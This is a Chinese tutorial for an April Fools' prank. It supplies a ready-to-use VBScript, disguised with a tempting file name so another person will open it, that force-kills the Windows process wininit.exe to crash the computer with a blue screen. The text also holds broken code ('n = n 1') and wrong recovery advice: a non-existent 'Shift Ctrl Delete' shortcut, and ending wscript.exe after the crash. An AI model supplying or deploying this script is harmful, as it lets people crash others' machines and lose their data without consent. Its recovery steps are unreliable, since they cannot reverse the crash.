愚人节代码怎么复制（教你制作整人神器）

计算机蓝屏简称BSOD，又叫蓝屏死机。蓝屏死机提示已经成为Microsoft Windows操作系统标志性的画面。蓝屏死机主要是Microsoft Windows 系列操作系统为保护电脑数据文件不被破坏而强制显示的屏幕图像。

愚人节即将来临，有许多人绞尽脑汁想各种整人办法。虽然电影《整蛊专家》里面有许多奇葩的恶作剧方法，但是电影源于现实又高于现实，里面有些方法学不来。近期使用计算机学习的小伙伴比较多，今天就用代码制作一个计算机蓝屏。

第一步：右键单击桌面空白位置，新建一个文本文档，并将“新建文本文档.txt”重命名为“打开试试.VBS”。

VBS是基于Visual Basic的脚本语言，我们使用vbs代码实现恶作剧，所以需要将文件后缀名改为“*.vbs”。文件名可以改的吸引人一些，好奇心害死猫。

第二步：右键单击“打开试试.vbs”，选中右键菜单中的编辑，打开记事本编辑窗口。将以下代码复制粘贴到记事本中，同时按下键盘上的Ctrl S键保存编辑。

如果想修改提示语句的话，将引号中的中文修改成自己想要的内容即可。

代码区域：

If MsgBox("你愿意做我的女朋友吗？",vbYesNo,"提示")=vbyes then

Msgbox "你竟然同意了，好开心！"

Wscript.echo Printer(" ","*","113111111112212111313111513",7)

Function Printer(a1,a2,b,c)

For i = 1 to len(b)

b1 = Mid(b,i,1)

For j = 1 to b1

s = s & "　" & a1

n = n 1

if n = c then

s= s & chr(10)

n = 0

End if

Next

a3 = a1

a1 = a2

a2 = a3

Next

Printer=s

End function

Set ws = CreateObject("Sapi.Spvoice")

k = "我爱你"

ws.speak k

Else

Msgbox "被拒绝了，真的好伤心！"

Msgbox "由于程序太过伤心，系统即将崩溃！！！",64,"系统提示："

Set ws = Createobject("wscript.shell")

ws.run "cmd /c start /min taskkill /f /im wininit.exe",0,false

End if

VBS程序介绍：程序起始给对方一个选择题，如果对方选择“是”，那么就相安无事，并有文字组合图片和语音表白“我爱你”提示。如果对方选择“否”，将会有提示语句，接着计算机进入蓝屏。

解决蓝屏的办法只能重启计算机。请勿乱用这个vbs代码，以免给他人造成损失。

一旦程序运行该怎么终止呢？千万不要尝试关闭窗口来结束程序。

同时按下键盘上的Shift Ctrl Delete，启动任务管理器。在任务管理器的进程中找到并选中“wscript.exe”，点击结束进程就没事了。

如果喜欢请点击关注和转发，有更多计算机小技巧等着你来发现。